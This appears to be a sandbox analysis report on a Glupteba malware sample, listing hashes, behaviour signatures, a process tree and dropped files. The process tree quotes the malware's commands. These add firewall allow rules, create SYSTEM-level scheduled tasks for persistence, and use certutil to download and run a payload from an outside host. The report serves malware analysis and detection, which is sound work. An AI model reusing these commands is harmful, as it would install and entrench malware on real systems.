Analysis
-
max time kernel
144s -
max time network
198s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
12-05-2022 11:53
General
-
Target
50fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf.exe
-
Size
3.7MB
-
MD5
0097ebe149e543b37105ee85b39c404e
-
SHA1
9391f3c380bc3cee42e4d249df328fad1f25fc9d
-
SHA256
50fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf
-
SHA512
c1fc0651dd2da2a1204e9df3649bb9b8c97dd6f5362c3dd6a1a1ee58906d275c467b19dfea07fd153d76b8b4796cc89e4e42f279424360ffae5941f59caa3d21
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 4 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
-
Executes dropped EXE 2 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
-
Drops file in Windows directory 2 IoCs
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 17 IoCs
-
Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\50fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf.exe"C:\Users\Admin\AppData\Local\Temp\50fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\50fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf.exe"C:\Users\Admin\AppData\Local\Temp\50fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.7MB
MD50097ebe149e543b37105ee85b39c404e
SHA19391f3c380bc3cee42e4d249df328fad1f25fc9d
SHA25650fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf
SHA512c1fc0651dd2da2a1204e9df3649bb9b8c97dd6f5362c3dd6a1a1ee58906d275c467b19dfea07fd153d76b8b4796cc89e4e42f279424360ffae5941f59caa3d21
-
C:\Windows\rss\csrss.exeFilesize
3.7MB
MD50097ebe149e543b37105ee85b39c404e
SHA19391f3c380bc3cee42e4d249df328fad1f25fc9d
SHA25650fc760b56d7b755ff1a87d5cd11ebd59397cc8c145eb4fd579c76c978d81adf
SHA512c1fc0651dd2da2a1204e9df3649bb9b8c97dd6f5362c3dd6a1a1ee58906d275c467b19dfea07fd153d76b8b4796cc89e4e42f279424360ffae5941f59caa3d21
-
memory/8-134-0x0000000000000000-mapping.dmp
-
memory/204-145-0x0000000000000000-mapping.dmp
-
memory/1776-147-0x0000000000000000-mapping.dmp
-
memory/2400-149-0x0000000000000000-mapping.dmp
-
memory/3280-137-0x0000000000000000-mapping.dmp
-
memory/4092-146-0x0000000000000000-mapping.dmp
-
memory/4260-135-0x0000000000000000-mapping.dmp
-
memory/4572-139-0x0000000000400000-0x0000000001319000-memory.dmpFilesize
15.1MB
-
memory/4572-138-0x00000000016D1000-0x0000000001A7A000-memory.dmpFilesize
3.7MB
-
memory/4572-133-0x0000000000000000-mapping.dmp
-
memory/5008-140-0x0000000000000000-mapping.dmp
-
memory/5008-143-0x0000000001A00000-0x0000000001DA9000-memory.dmpFilesize
3.7MB
-
memory/5008-144-0x0000000000400000-0x0000000001319000-memory.dmpFilesize
15.1MB
-
memory/5012-130-0x0000000001837000-0x0000000001BE0000-memory.dmpFilesize
3.7MB
-
memory/5012-132-0x0000000000400000-0x0000000001319000-memory.dmpFilesize
15.1MB
-
memory/5012-131-0x0000000001BF0000-0x00000000022EC000-memory.dmpFilesize
7.0MB
-
memory/5052-136-0x0000000000000000-mapping.dmp